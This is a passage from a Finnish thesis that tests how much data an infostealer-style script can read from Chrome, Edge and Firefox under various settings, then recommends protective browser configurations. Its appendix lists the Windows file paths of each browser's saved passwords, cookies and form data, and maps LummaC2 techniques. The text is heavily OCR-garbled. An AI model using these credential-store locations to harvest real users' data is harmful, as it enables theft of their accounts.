Viimeisessa, kahdeksannessa testissa kaytettiin palautettua virtuaalikoneen tilannekuvaa,
jossa kaikki selaimet olivat jalleen oletusasetuksilla ja testidata oli palautettu. Taman
jalkeen kaikki selaimet konfiguroitiin parhaiden tietoturvakaytantdjen mukaisesti aiempien
testien perusteella. Tavoitteena oli selvittda, kuinka paljon tietoa selaimista voidaan yha
kerata, vaikka asetukset olisi maaritetty mahdollisimman tietoturvallisiksi estdmaan
tietovarkaus. On kuitenkin tarkeda huomioida, etta tdssa testissa asetuksia muutettiin vasta
sen jalkeen, kun selaimiin oli jo kertynyt tietoja. Kaytannossa tietoturvatoimien tulisi alkaa
tiedon tyhjentamiselld, jotta asetusten vaikutukset nakyvat niin sanotusti puhtaalta

poydalta.
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Testien perusteella voidaan todeta, etta kaikki tutkitut selaimet sisaltavat ja keraavat

merkittavia maaria kayttajatietoja, mikali kayttaja ei ole muuttanut oletusasetuksia. Erityisen

haavoittuvaisia ovat automaattitayttd- ja salasanatiedot, jotka ovat rikollisten nakékulmasta

arvokasta tietoa ja oletusasetuksilla helposti saatavilla.

Kayttajatietojen suojaaminen jaa suurelta osin kayttajan itsensa vastuulle. Asetusten

saataminen on kuitenkin monin paikoin epaselvaa ja vaatii kayttgjalta tietotaitoa, silla

asetukset ovat usein hajautettu useaan eri paikkaan. Lisaksi on tarkeda huomioida, etta

suojausasetukset vaikuttavat vain tulevaan toimintaan eivatka koske jo tallennettuja tietoja.

Tama on keskeinen seikka tietoturvakaytantdja suunniteltaessa.

Taulukko 3 on esitetty yhteenveto eri testiajojen tuloksista.

Taulukko 3. Testitulokset

Testi Chrome Edge Firefox
Oletusasetukset X Varastettavissa: X Varastettavissa: X Varastettavissa:
selaushistoria, selaushistoria, selaushistoria,
automaattitayttotiedot, automaattitayttotiedot, automaattitayttotiedot,
evasteet ja salasanat evasteet ja salasanat evasteet ja salasanat
Salasanojen X Salasanat X Salasanat  Paasalasana:
suojaaminen varastettavissa (ei varastettavissa Salasanat suojattu
paasalasanalla tukea passalasanalle) ¥ Device sign in:

Salasanat
varastettavissa

Automaattitayton
estaminen

1. Jo tallennetut
tiedot edelleen
varastettavissa

1. Jo tallennetut
tiedot edelleen
varastettavissa

1. Jo tallennetut
tiedot edelleen
varastettavissa

Selaushistorian
tyhjentdminen
istunnon paatteeksi

X Eiasetusta
saatavilla

« Selaushistoria
poistettu

1. Unohtamisasetus
ei vaikuta jo
tallennettuun
historiaan

Selaushistorian
tyhjentdminen
manuaalisesti

« Selaushistoria
poistettu

« Selaushistoria
poistettu

« Selaushistoria
poistettu

Evasteiden
tyhjentdminen
istunnon paatteeksi

X Eiasetusta
saatavilla

« Evasteet poistettu

« Evasteet poistettu
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Evéasteiden « Evéasteet poistettu  « Evésteet poistettu  « Evéasteet poistettu
tyhjentdminen
manuaalisesti

Kaikkien asetuksien X Varastettavissa: « Kaytannoilla « Kaytannoilla
asettaminen ns. selaushistoria, voidaan estaa voidaan est&3
”parhaat kdytdnnoét”  gutomaattitdyttétiedot, tietovarkauden haitat  tietovarkauden haitat,
evasteet ja salasanat selaushistoriaa lukuun
ottamatta.
Taulukon seloste: « = Toimii hyvin tai suojaa tietoja, 4. = Osittainen suoja tai rajoitettu

vaikutus, X = Ei suojaa, tiedot varastettavissa.

Testauksessa kaytetty Python-skripti osoittautui tehokkaaksi valineeksi selainten
haavoittuvuuksien esiin tuomiseen. Se soveltuu erityisen hyvin koulutuskayttéon ja
tietoisuuden lisdamiseen tietoturvasta, silla se havainnollistaa konkreettisesti, miten
helposti suojaamattomat tiedot ovat paikallisesti saatavilla, jos asianmukaisia asetuksia ei

ole maaritetty.

9.1 Testitulosten analyysi

Oletusasetuksilla suoritetut testit osoittivat, etta kaikissa mukana olleissa selaimissa
kayttajatietoja on helposti saatavilla. Tama johtuu siita, ettd selaimet sallivat oletuksena
runsaasti tietojen tallennusta. Erityisesti automaattitayttétoiminto on oletuksena paalla
kaikissa selaimissa. Edge erottui erityisesti siind, kuinka aktiivisesti se tallentaa kayttajan

kirjoittamia tietoja.

Paasalasanan vaikutusta salasanojen suojaamiseen tarkasteltiin seuraavassa testissa.
Firefoxissa paasalasana toimi tehokkaasti ja sen kayttdonoton jalkeen tallennettuja
salasanoja ei enaa saatu skriptilla luettua. Edgeen lisatylla paasalasanalla ei ollut
vaikutusta skriptin toimintaan. Muutenkin koska Chromium-pohjaiset selaimet, kuten
Chrome ja Edge, luottavat kayttéjarjestelman suojausmekanismeihin salasanat ovat
luettavissa niiden tiedostoista. Kayttojarjestelmapohjainen suojaus tuo lisdturvaa, mutta
sen kiertaminen on osoitettu mahdolliseksi ja nama suojausratkaisut ovat edelleen
haavoittuvia. Tama voi olla kayttajan kannalta hammentavaa, koska selaimen kayton

aikana suojaus tuntuu vahvalta, kun kaikkeen tietojen muokkaamiseen vaaditaan
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jarjestelman salasanaa. Kuitenkin jos haittaohjelma on saanut jarjestelmaoikeudet samalle

tilille, se pystyy myds lukemaan salattuja tietoja.

Automaattitayton estamiseen liittyvat asetukset osoittautuivat toimiviksi vain uusien tietojen
osalta. Jo tallennetut tiedot sailyvat, ellei kayttaja poista niita erikseen tai nollaa selaimen
profiilia. Edge ja Firefox mahdollistaa asetuksissaan automaattitayttotietojen poiston
selaimen sulkemisen yhteydessa, joka on toimiva keino vahentdmaan tiedostoihin kertyvaa

arkaluontoista dataa.

Selaushistorian ja evasteiden automaattinen poistaminen toi esiin merkittavia eroja
selainten valilla. Edge oli ainoa, jossa kayttaja pystyi eritellen maarittamaan, mitka tiedot
poistuvat automaattisesti selaimen sulkeutuessa ja kaytannon testissa tama ominaisuus
toimi odotetusti. Firefoxin selausdatan unohtamisasetus ei vastannut odotuksia, eika se
poistanut aiemmin tallennettuja tietoja, vaikka selaimen asetuksissa annettiin ymmartaa,
etta kaikki selausdata unohdettaisiin. Mukautetuilla Firefoxin selaushistoria-asetuksilla
voitiin valita, etta selaushistoria tyhjennetaan aina kun selain suljetaan, mutta se jatti silti
jalkeensa selaushistorian. Firefoxin evasteiden automaattinen poisto selaimen sulkemisen
yhteydessa toimi odotusten mukaisesti. Chrome ei pida sisallaan asetuksia, joilla voisi
automaattisesti tyhjentaa selaushistorian tai evasteet. Manuaaliset tyhjennykset toimivat
kaikissa selaimissa, mutta tietoturvallisen toiminnan kannalta olisi suotavaa, etta nama
toimenpiteet voisi automatisoida. Erityisesti evasteiden kohdalla tdma on tarkeaa, silla
niiden mukana voi tallentua kirjautumisiin liittyvia istuntotietoja, joita rikolliset voivat

hyoédyntaa tilien kaappaamiseen.

Testi, jossa otettiin kayttéon parhaat mahdolliset suojausasetukset tietovarkauksien varalta,
osoitti suuria eroja selainten valilla sen suhteen, miten hyvin tiedot pysyvat turvassa. On
kuitenkin tarkeda huomata, etta testissa tarkasteltiin tilanteita, joissa asetuksia muutettiin
vasta sen jalkeen, kun tiedot oli jo tallennettu. Tietoturvan ndkékulmasta paras tapa on

poistaa aiemmat tiedot ja aloittaa selainkaytto uusilla asetuksilla puhtaalta pohjalta.

Edge onnistui asetusten avulla rajaamaan tiedon tallennusta hyvin ja niilla saatiin
maaritettya tilanne missa koneelle ei tallennu mitadan tietoja varastettavaksi. Firefox
puolestaan suojasi salasanat tehokkaasti paasalasanan avulla, mika on tarkea
tietoturvaominaisuus, jos halutaan salasanoja tallentaa selaimeen. Muutenkin Firefoxin

asetuksilla paastiin tilanteeseen, jossa vain selaushistoria jai varastettavaksi. Chrome sen
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sijaan osoittautui yllattavan avoimeksi, vaikka siihen oli asetettu kaikki mahdolliset

suojausasetukset, jai selaimeen varastettavaksi kaikki siihen jo tallentunut tieto.

Kayttajan voi olla helppo kuvitella olevansa turvassa estamalla esimerkiksi evasteet ja
automaattitayton, mutta ndma asetukset eivat suojaa jo kerattyja tietoja. Siksi olisi tarkeaa,
etta selainten kehittajat tarjoaisivat asetusten yhteydessa selkeamman ilmoituksen siita,
etta tietoja on jo tallennettu. Kayttajalle voisi tarjota mahdollisuuden poistaa nama tiedot
suoraan asetuksen maarittamisen yhteydessa. Tama lisaisi ymmarrettavyytta ja auttaisi

parantamaan selainkayton tietoturvaa.

9.2 Tuloksien luotettavuus

Testien tulokset ovat suuntaa antavia ja antavat hyvan kokonaiskuvan siita, millaisia tietoja
selaimiin voi tallentua ja miten naita tietoja voidaan suojata selaimen asetusten avulla.
Tuloksia voidaan pitda kayttdkelpoisina tietoturvatietoisuuden lisddmisen ja parhaiden

kaytantdjen maarittelyn nakdkulmasta.

Testaus toteutettiin yhdessa kontrolloidussa testiymparistdossa, mika mahdollisti
olosuhteiden hallinnan, mutta samalla rajasi tutkimuksen ulkopuolelle reaalimaailman
muuttujia. Eri kayttéjarjestelmien, selainversioiden ja kayttajaprofiilien vaihtelu voi vaikuttaa
siihen, miten selain tallentaa ja suojaa tietoja. Nain ollen tuloksia ei voida suoraan yleistaa

kaikkiin kayttoymparistoihin.

Kaytetty Python-skripti ei kyennyt purkamaan kaikkien tietojen salausta Chromium-
pohjaisten selainten osalta, joissa App-Bound Encryption vaikeutti salasanojen ja
evasteiden lukemista. Tama rajoitti osittain mahdollisuutta saada taydellinen kuva siita,

mitd kaikkea tietoa selaimet sailyttavat kayttajasta.

Testikierroksia tehtiin kahdeksan, mutta mahdollisia asetusten ja kayttotilanteiden
yhdistelmia on huomattavasti enemman. Esimerkiksi selaimen pitkaaikaisen kayton
vaikutuksia tai pilvipalveluihin kirjautuneiden kayttajien tietojen synkronoitumista

paikalliselle laitteelle ei kasitelty tassa tyossa.
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9.3 Verkkoselaamisen parhaat kaytannot

Verkkoselaamisen tietoturva ei perustu pelkastaan selainasetuksiin, vaan myos kayttajan
oma toiminta vaikuttaa siihen merkittavasti. Hyvat kaytannoét voidaan jakaa kahteen

nakokulmaan: miten selain on asetettu toimimaan seka miten kayttaja toimii verkossa.

Turvalliseen selaamiseen liittyva kayttaytyminen tarkoittaa ennen kaikkea hydkkayspinta-
alan pienentamista. Kayttajan tulee tehda tietoisia valintoja ja valttaa esimerkiksi
tuntemattomien linkkien klikkaamista tai henkildtietojen luovuttamista epailyttaville
sivustoille. On hyva pysahtya miettimaan ennen toimintaa eika tehda kiireessa paatoksia.
Yleisin tapa joutua infostealer-haittaohjelman uhriksi on tietojenkalastelu tai muu
sosiaalinen manipulointi. Taman vuoksi kyky tunnistaa kalasteluyritys on keskeinen osa
verkkoturvallisuutta. Joissain tilanteissa voi olla hyva harkita yksityisen selausikkunan
kayttoa, esimerkiksi nettipankissa asioidessa. Nain voidaan pienentaa riskia, etta

arkaluontoisia tietoja tallentuu selaimen kautta laitteelle.

Selainasetuksiin liittyvat hyvat kaytannoét taas edellyttavat, etta kayttaja ymmartaa mita
tietoja selain tallentaa ja miksi. Yhteiskayttolaitteilla selain tulisi maarittaa niin, etta se ei
tallenna selaushistoriaa, evasteitd, automaattitayttdtietoja eika salasanoja. Vaihtoehtoisesti
voidaan varmistaa, etta kaikki nama tiedot poistetaan aina selaimen sulkemisen
yhteydessa. Henkilokohtaisilla laitteilla voi sallia tiettyjen tietojen tallennuksen
kaytettavyyden parantamiseksi, mutta tietoturvauhat on silti syyta pitaa mielessa.
Esimerkiksi istuntoevasteet voivat antaa rikollisille helpon paasyn tileihin, jos ne eivat

nollaudu riittavan usein.

Selaimen paivittdminen on tarkea osa turvallista kayttoa. Yleisesti selaimet paivittavat
itsensa automaattisesti, mutta tama ei aina tapahdu valittdémasti. Kayttajan on hyva
varmistaa, etta selain on ajan tasalla, erityisesti jos tietoon tulee jokin kriittinen
tietoturvahaavoittuvuus. Chromium-pohjaisissa selaimissa uusien paivityksien
tarkistaminen edellyttaa asetussivulla vierailua, mika ei ole selvaa tavalliselle kayttajalle.

Firefox tarjoaa mahdollisuuden automaattisten paivitysten valintaan suoraan asetuksista.

Tietoturvaa lisda myds se, etta konetta kaytetdan peruskayttajana eika

jarjestelmanvalvojana. Peruskayttdjan oikeuksilla on vaikeampi asentaa vahingossa
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haittaohjelmia, jotka vaativat jarjestelmatason oikeudet esimerkiksi salauksien

purkamiseen.

Verkkopalveluiden kehittdjien tulisi myos kiinnittad huomiota siihen, miten pitkdan evasteet
sdilyvat. Lyhyemmat evasteiden elinkaaret voivat vahentaa sita riskia, etta rikolliset

pystyvat hyddyntdmaan varastettuja istuntoevasteita.

Selainlaajennukset voivat parantaa kayttokokemusta, mutta niiden kanssa on oltava
tarkkana. Ennen laajennuksen asentamista on hyva tutkia, kuka sen on kehittanyt, mita
oikeuksia se vaatii ja mihin tietoihin se paasee kasiksi. Laajennuksen paivityksia ja

mahdollisia muutoksia sen toimintaan tulee seurata myds kayton edetessa.

Tietoturvassa tietoisuuden lisdaminen on tarkein yksittainen tekija. Asioista tulisi puhua
avoimesti ja ymmarrettavasti, ei pelotellen. Tietoturvakaytannot koetaan usein vaikeiksi,
koska ne koetaan vain esteiksi helppokayttoisyydelle. On tarkeaa, etta ihmisilla on
mahdollisuus oppia ja ymmartaa, miksi tietyt toimenpiteet ovat tarpeellisia. Kaytantoja
suunniteltaessa on myods mietittava, kenelle ne on tarkoitettu ja mihin tilanteeseen ne
sopivat. Esimerkiksi ei ole jarkevaa vaatia rivityontekijaltd henkilokohtaisella tydkoneellaan

selaushistorian tyhjentamista jokaisen istunnon jalkeen, ellei siihen ole perusteltua tarvetta.

Kun ymmarretadan, millaisia riskeja selainkaytdssa on esimerkiksi infostealer-
haittaohjelmien nakdkulmasta, voidaan laatia kaytantja, jotka palvelevat omaa arkea ja
tietoturvatarpeita. Yksinkertaisuus on valttia ja niin sanottu KISS-periaate (Keep It Simple,
Stupid) auttaa siina, etta tietoturvaa on helpompi toteuttaa arjen keskella. Esimerkiksi
yksinkertainen tapa tyhjentaa evasteet automaattisesti selaimen sulkeutuessa on helppo

ottaa kayttdon, mutta se voi tehokkaasti vahentaa tietojen vuotamisen riskia.

Lopulta parhaiden kaytantdjen luomisessa on aina kyse tasapainosta turvallisuuden ja
kaytettavyyden valilla. Selaamista voidaan tehda aarimmaisen yksityisesti niin, ettei mitdan
tallennu, mutta se voi vaikeuttaa jatkuvaa kayttda ja esimerkiksi lisata jatkuvaa
uudelleenkirjautumista eri palveluihin. Tarkeinta on, etta kayttaja tiedostaa valintojensa

vaikutukset ja voi tehda paatoksia niiden pohjalta.
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9.4 Suositukset selainasetuksille

Ennen kuin aloittaa uuden selaimen kayton, kannattaa varata hetki sen asetusten
lapikdymiseen kohta kohdalta. Selainten oletusasetukset vaihtelevat ja ovat usein paljon
kayttajan tietoja tallentavia. Siksi on tarkeaa tehda omiin tarpeisiin sopivat muutokset heti

alussa, ettei selaimeen paase tallentumaan tietoja, joita ei haluta tallentaa.

Salasanojen tallennukseen ei suositella kaytettavaksi selaimen omaa toimintoa, vaan
erillistd kolmannen osapuolen salasananhallintaohjelmaa, joka tarjoaa yleensa vahvemman
suojauksen tiedoille. Chrome-selaimen pilvipohjainen salasananhallinta voi toimia, mikali
kayttaja voi varmistua siita, ettei salasanoja tallenneta myoés paikallisesti laitteelle. Firefoxiin
asetettu vahva paasalasana tuo lisaturvaa selaimiin tallennetuille salasanoille, jos niita

valttamatta haluaa tallentaa selaimeen.

Automaattitaytté on kateva toiminto, mutta siihen tallennetut tiedot, kuten osoitteet,
yhteystiedot ja maksukorttien numerot, ovat hyvin arkaluontoisia. Kayttajan on hyva tietaa,
mita tietoja selain sailyttaa, ja pohtia, olisiko turvallisempaa estda naiden tietojen
tallentaminen kokonaan. Vahintaankin tietojen saanndllinen poistaminen on suositeltavaa.
Testien perusteella voidaan todeta myénteisena asiana se, ettd mikaan testatuista

selaimista ei nayttanyt luottokorttien turvakoodeja.

Jos selain asetetaan muistamaan jonkin verran selaushistoriaa ja evasteita kaytettavyyden
vuoksi, hyva kompromissi on ajastaa esimerkiksi viikoittainen selausdatan tyhjennys. Nain
vahennetaan hyokkayspinta-alaa, mutta sailytetaan kayttajaystavallisyytta arjen selailussa.
Kuva 15 esitetdan Edgen asetussivu, jolla voidaan helposti maarittaa mita tietoja
poistetaan selaimen sulkemisen yhteydessa. Se onkin suositeltava tapa saanndstella
selaushistorian tallennusta ja samanlaisen ominaisuuden toivoisi I6ytyvan kaikista

selaimista.
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Kuva 15. Microsoft Edgen selaushistorian poistamisen maaritys

[ 3 Settings X |+

<& G @ edgey//settings/privacy/clearBrowsingData/clearOnClose

Settings < Privacy, search, and services / Clear browsing data / Clear browsing data on close

Choose what to clear every time you close the browser

Search settings

Browsing history

None

Profiles

[P @

| (-] Privacy, search, and services Download history

None

Appearance

Default browser Cookies and other site data

From 12 sites. Signs you out of most sites

O a

Start, home, and new tab page

Cached images and files
Languages Frees up less than 6.3 M. Some sites may load more slowly en your next visit.

Iz

I

Downloads
Passwords
Accessibility None

=%

D

System and performance
Autofill form data (includes forms and cards)

) Reset settings Nans

886866881808

@ About Microsoft Edge Site permissions

None

Selauksen turvallisuutta voidaan parantaa ottamalla kayttédn selaimen asetuksista
turvallisen yhteyden pakottaminen, kuten HTTPS-Only Mode (Kuva 16) tai Automatic
HTTPS. Tama asetus varmistaa, etta selain kayttaa ensisijaisesti suojattua HTTPS-
yhteyttd, eikd muodosta automaattisesti yhteytta suojaamattomien HTTP-sivustojen
kanssa. Suojaamattomia yhteyksia voidaan hyddyntaa esimerkiksi verkkoliikenteen
salakuunteluun, mika voi johtaa arkaluontoisten tietojen joutumisen vaariin kasiin. HTTPS-
yhteyden pakotuksen avulla voidaan estaa tallaiset yhteydet ja varmistaa, etta yhteys
verkkosivustolle on aina salattu ja suojattu. Nain kayttajan ei tarvitse itse jatkuvasti
tarkistaa, onko yhteys turvallinen. On kuitenkin tarkeda huomata, ettéd tdma asetus ei poista
kayttajan vastuuta turvallisesta verkkokayttaytymisesta. Suojattu yhteys ei esta tietojen
jakamista epaluotettaville sivustoille, mikali kayttaja itse toimii huolimattomasti. Tietoinen ja
valpas verkon kayttaminen edellyttda esimerkiksi sen seuraamista, mille verkkosivustolle

ollaan siirtyméassa ja mita osoitepalkissa lukee.
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Kuva 16. Firefoxin asetus suojatun verkkoyhteyden kayttoon

§3 Settings x -+
= C @ Firefox about:preferences#privacy
rt bookmarks...
Find in Settings
[@3 General

HTTPS-Only Mode

@ Home Only allows secure connections to websites. Firefox will ask before connecting insecurely.
How HTTPS-Only works

Q Search ~ Manage Exceptions...
® Enable HTTPS-Only Mode in all windows

EI Privacy & Security Enable HTTPS-Only Mode in private windows only

Q Sync Don't enable HTTPS-Only Mode

Firefox may still upgrade some connections Learn more

Firefox Labs

Selaimen pitdminen ajan tasalla on tarkeaa, silla nykyaikaisiin selaimiin julkaistaan
jatkuvasti tietoturvapaivityksia. Firefoxin asetuksista voi valita automaattisen
paivitystoiminnon, jolloin selain pysyy ajantasaisena ilman kayttajan toimenpiteita. Myds
Chromium-pohjaiset selaimet paivittyvat automaattisesti, mutta uusimman version
asentuminen ei aina tapahdu valittdmasti uuden version ollessa saatavilla.
Paivitysprosessia voi nopeuttaa siirtymalla selaimen asetussivulle, jolta selaimen version
voi tarkistaa ja samalla kdynnistaa uuden paivityksen asennus. Yksi tapa automatisoida
taman tarkistus on asettaa kyseinen asetussivu avautumaan automaattisesti aina kun
selain kaynnistetdan (Kuva 17). Talldin selain tarkistaa automaattisesti, onko uusia

paivityksia saatavilla (Kuva 18).
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Kuva 17. Chromen startup sivun maaritys paivityssivuksi

w

4\

6

P & 7 @

a »°» @

E

EX

€& Settings - On startup X & New Tab X ar

(&) & Chrome chrome://settings/onStartup
Settings

You and Google
Autofill and passwords
Privacy and security
Performance
Appearance

Search engine

Default browser

On startup

Languages

Kuva 18. Chromen version tarkistus ja paivitys

About Chrome

@ Google Chrome

) Checking for updates
Version 137.0.7151.104 (Official Build) (54-bit)

et help with Chrome

0, Search settings

On startup
(O Open the New Tab page
(O  continue where you left off

@®  Open a specific page or set of pages

chrome://settings/help
o o
chromey//settings/help

Add a new page

Use current pages
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10 Johtopaatokset ja pohdinta

Opinnaytetydn tulokset tarjoavat konkreettista ja havainnollistavaa tietoa siita, kuinka
haavoittuvia selainten paikallisesti tallentamat tiedot voivat olla, etenkin jos kayttdja luottaa
oletusasetuksiin. Vaikka testaus kattoi vain yhden rajatun tilanteen, havaintojen pohjalta
voidaan jo muodostaa selkeita suosituksia siitd, miten kayttajat voivat pienentaa riskia

joutua infostealer-haittaohjelmien uhreiksi.

Erityisen tarkedksi nousee se, kuinka merkittdva osa tietoturvasta jaa loppukayttajan
vastuulle. Oletusasetukset eri selaimissa mahdollistavat tietojen tallentamisen ilman
kayttajan aktiivista valintaa, mikd on huolestuttavaa. Tasta syysta olisi tarkeaa, etta

jokainen uusi selainkayttd aloitetaan huolellisella asetusten tarkistuksella.

Miten infostealer-haittaohjelmat keraavat dataa selaimista? Infostealer-haittaohjelmat
hyddyntavat selainten paikallisesti tallentamia tietoja, kuten salasanoja,
automaattitayttotietoja, selaushistoriaa ja evasteitd. Ne hakevat naita tietoja selainten
profiilikansioista, joissa niita sailytetdan usein selkokielisina tai salattuina, mutta silti

saavutettavina erityisesti suorittaessa haittaohjelmaa jarjestelmaoikeuksin.

Miten organisaatiot ja yksityishenkil6t voivat tehokkaimmin suojautua infostealer-
haittaohjelmien aiheuttamilta tietovarkauksilta selaimissa? Tehokkain suojautuminen
perustuu ensisijaisesti kayttdjan omaan toimintaan. Parhaita kaytantdja selainasetusten
maarittdmiseen ovat tietojen automaattinen tyhjentdminen saanndllisesti, HTTPS-yhteyden
pakotus, automaattiset paivitykset, automaattitayton estaminen ja salasanojen
tallentamisen valttaminen selaimessa. Lisaksi tietoisuuden lisdaminen, varovaisuus

verkossa ja salasananhallintaohjelmien kayttd ovat keskeisia keinoja suojautumiseen.

Opinnaytetyon toteutuksessa kohdattiin myds haasteita. Kirjoittajan rajallinen
ohjelmointikokemus rajoitti teknisen toteutuksen laajuutta, mutta tekoalyavusteinen kehitys
mahdollisti kuitenkin riittavasti toimivan simulaation rakentamisen. Selainasetusten
monimutkaisuus ja epaselvyys herattivat kysymyksia siita, onko selaimia suunniteltu
loppukayttajien tietoturvatarpeet huomioiden. Kun asetusten vaikutuksia on vaikea
ymmartaa ilman syvallista teknistd osaamista, on vaarana, ettei suojausta osata kayttaa

eika se toimi odotetusti.
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Tulevaisuudessa testeja voitaisiin laajentaa eri selainversioihin ja kayttojarjestelmiin, jotta
saataisiin kattavampi kuva selainkayttaytymisen tietoturvasta eri alustoilla. Tutkimusta voisi
my0s laajentaa erilaisiin kayttotilanteisiin, kuten kirjautuneisiin selainprofiileihin, muutoksiin
pidempiaikaisen selaimen kaytdon myo6ta, seka selaimen paivittdmisen vaikutuksiin
tallennettuihin tietoihin. Lisaksi voisi olla hyddyllista kokeilla oikeita infostealer-naytteita
valvotussa ja eristetyssa testiymparistossa, mika toisi testaukseen lisaa realismia ja
tarkkuutta. Mielenkiintoinen jatkotutkimuksen kohde olisi myds Firefoxin Microsoft Store -
version tarkempi tarkastelu erityisesti siitda nakdkulmasta, miten ja minne selain tallentaa
tietoja taman asennustavan myoéta. Lisaksi olisi hyddyllista tarkastella tarkemmin
selainlaajennusten seka paatelaitteiden suojausratkaisujen vaikutusta tietoturvaan ja niiden

kykya tunnistaa infostealer-uhkia.
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11 Yhteenveto

Opinnaytetydn tavoitteena oli tutkia, miten infostealer-haittaohjelmat toimivat ja millaisin
kaytannén keinoin niiden aiheuttamia tietovarkauksia voidaan ehkaista erityisesti
verkkoselaimien nakokulmasta. Teoriaosuudessa perehdyttiin haittaohjelmien
toimintaperiaatteisiin seka siihen, millaisia tietoja selaimet keraavat ja sailyttavat.
Toiminnallisessa osuudessa testattiin, miten selainasetusten muuttaminen vaikuttaa

tietojen suojaamiseen.

Testien perusteella selvisi, kuinka helposti selaimiin tallennettu tieto on saavutettavissa ja
miten suuri osa siitd voi olla rikollisten kannalta arvokasta. Simulaatioskriptin ajaminen
kirjoittajan henkilokohtaisella koneella konkretisoi havainnot ja heratti pohtimaan myos

omia selainkayttétottumuksia.

TyOssa saatiin kattavat vastaukset asetettuihin tutkimuskysymyksiin. Samalla se toi esiin,
miten ratkaisevaa yksittaisten asetusten merkitys voi olla ja kuinka suuri rooli kayttajalla

itsellddn on tietoturvassa. Sanotaan, etta tieto lisda tuskaa, mutta tdman tyén kautta opin,
ettd se voi myds lisata itsevarmuutta ja kykya toimia oikein. Kun tietda, mita voi tapahtua,

Osaa varautua ja suojautua paremmin.

Opinnaytetyoprosessi opetti, kuinka tarkeaa on selkeyttaa tietoturvakaytantoja ja tehda
niista ymmarrettavia kaikille kayttjille. Tietoisuuden lisaaminen on tarkein yksittainen keino
ehkaista haittaohjelmien vaikutuksia. Tietoturvasta on voitava puhua arkipaivaisesti ilman

pelottelua ja teknista ylikorostamista.

Vaikka aikataulu vaikutti alkuun valjalta, uuden oppiminen ja tekninen toteutus
osoittautuivat aikaa vieviksi. Osasta suunnitelluista tutkimuksista jouduttiin karsimaan,
mutta tyo tuotti silti merkittavia havaintoja, joita voi hyodyntaa selainkaytantojen

kehittamisessa.

Jatkossa ty6ta voisi laajentaa tarkastelemalla esimerkiksi selainlaajennusten
tietoturvavaikutuksia, virussuojausten tehokkuutta ja kayttaytymisanalytiikkaan perustuvia
haittaohjelmien tunnistusmenetelmia. Infostealerin kohtaaminen on aina mahdollinen riski,
mutta tdma tyo osoittaa, etta kayttadjan omilla toimilla voi olla ratkaiseva merkitys

suurempien vahinkojen ehkaisemisessa.
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Liite 1: Aineistonhallintasuunnitelma

Opinnaytetydn tutkimusaineistoa kerataan projektin aikana tehtavaan
oppimispaivakirjaan. Testausalustana toimiva virtuaaliymparisté on myoés osa
tutkimusaineistoa. Aineistoa sailytetaan tyon aikana tekijan salasanasuojatun
tietokoneen C-asemalla, seka varmuuskopiot tekijan HAMK-tunnuksilla

hallinnoidussa OneDrive-pilvitallennuspalvelussa.

Opinnaytetydn aineistoon ei sisally henkildtietoja tai salassa pidettavia tietoja, joten
erillista aineiston anonymisointia ei tarvita. Kuitenkin aineiston tietoturva varmistetaan
noudattamalla huolellisia sailytys- ja varmuuskopiointikaytantdja koko projektin ajan.

Aineistoon on paasy ainoastaan opinnaytetydn tekijalla.

Opinnaytetyon tekijanoikeudet kuuluvat opinnaytetyon tekijalle itselleen.

Tutkimusaineistoa ei anneta jatkokayttoon.

Opinnaytetydn valmistumisen jalkeen aineistoa sailytetdan tallennettuna tekijan
salasanasuojatulla ulkoisella kovalevylla ja tekijan henkildkohtaisessa Google Drive
pilvitallennuspalvelussa vuoden ajan. Sailytyksen aikana opinnaytetydn tulokset
voidaan tarvittaessa varmistaa tallennettujen aineistojen avulla. Aineiston sailytyksen

loputtua, tallennetut tiedostot tuhotaan ja ylikirjoitetaan.



Liite 2/ 1

Liite 2. Yleisimpien selainten keraamien tietotyyppien sijainteja Windows-kayttojarjestelmassa

Tietotyyppi

Selaushistoria

Evasteet

Vilimuisti (Cache)

Kirjanmerkit

Tallennetut
salasanat

Istuntotiedot

Lomaketiedot

Yleisimpien selainten keraamien tietotyyppien sijainteja Windows-kayttojarjestelmassa. (Malviya, 2020; Foxton Forensics, n.d.; Firefox, 2025)

Sijainti: Chrome Sijainti: Firefox Sijainti: Edge

C:\Users\<username>\AppData\Local\Google\Chro C:\Users\<username>\AppData\Roaming\Mozilla\Firefox C:\Users\<username>\AppData\Local\Microsoft\Edge\Us
me\User Data\Default\History \Profiles\[profiililD]\places.sqlite er Data\Default\History

C:\Users\<username>\AppData\Local\Google\Chro C:\Users\<username>\AppData\Roaming\Mozilla\Firefox C:\Users\<username>\AppData\Local\Microsoft\Edge\Us
me\User Data\Default\Cookies \Profiles\[profiililD]\cookies.sqlite er Data\Default\Network\Cookies

C:\Users\<username>\AppData\Local\Google\Chro C:\Users\<username>\AppData\Local\Mozilla\Firefox\Pr C:\Users\<username>\AppData\Local\Microsoft\Edge\Us
me\User Data\Default\Cache ofiles\[profiiliiD]\cache2\entries er Data\Default\Cache

C:\Users\<username>\AppData\Local\Google\Chro C:\Users\<username>\AppData\Roaming\Mozilla\Firefox C:\Users\<username>\AppData\Local\Microsoft\Edge\Us
me\User Data\Default\Bookmarks \Profiles\[profiililD]\places.sqlite er Data\Default\Bookmarks

C:\Users\<username>\AppData\Local\Google\Chro C:\Users\<username>\AppData\Roaming\Mozilla\Firefox C:\Users\<username>\AppData\Local\Microsoft\Edge\Us
me\User Data\Default\Login Data \Profiles\[profiililD]\logins.json + key4.db er Data\Default\Login Data

C:\Users\<username>\AppData\Local\Google\Chro
me\User Data\Default\Current Session + Last
Session

C:\Users\<username>\AppData\Roaming\Mozilla\Firefox C:\Users\<username>\AppData\Local\Microsoft\Edge\Us
\Profiles\[profiililD]\sessionstore.jsonlz4 er Data\Default\Current Session + Last Session

C:\Users\<username>\AppData\Local\Google\Chro C:\Users\<username>\AppData\Roaming\Mozilla\Firefox C:\Users\<username>\AppData\Local\Microsoft\Edge\Us
me\User Data\Default\Web Data \Profiles\[profiililD]\formhistory.sqlite er Data\Default\Web Data



Liite 3. LummaC2-haittaohjelman MITRE ATT&CK®-matriisi

LummaC2-haittaohjelman MITRE ATT&CK®-matriisi (KrakenLabs, 2025a)

Taktiikka Tekniikka ID Tekniikka

Suojauksen ohitus T1140 Obfuskoitujen tiedostojen tai tietojen purkaminen
Suojauksen ohitus T1027 Tiedostojen tai tietojen obfuskointi
Tunnistetietojen hankinta T1539 Verkkoistuntojen evasteiden varastaminen
Tunnistetietojen hankinta T1555 Tunnistetietojen varastaminen salasanavarastoista
Tunnistetietojen hankinta T1552 Suojaamattomien tunnistetietojen hyddyntaminen
Tiedustelu T1083 Tiedosto- ja kansiorakenteiden kartoittaminen
Tiedustelu T1082 Jarjestelmatietojen kartoittaminen

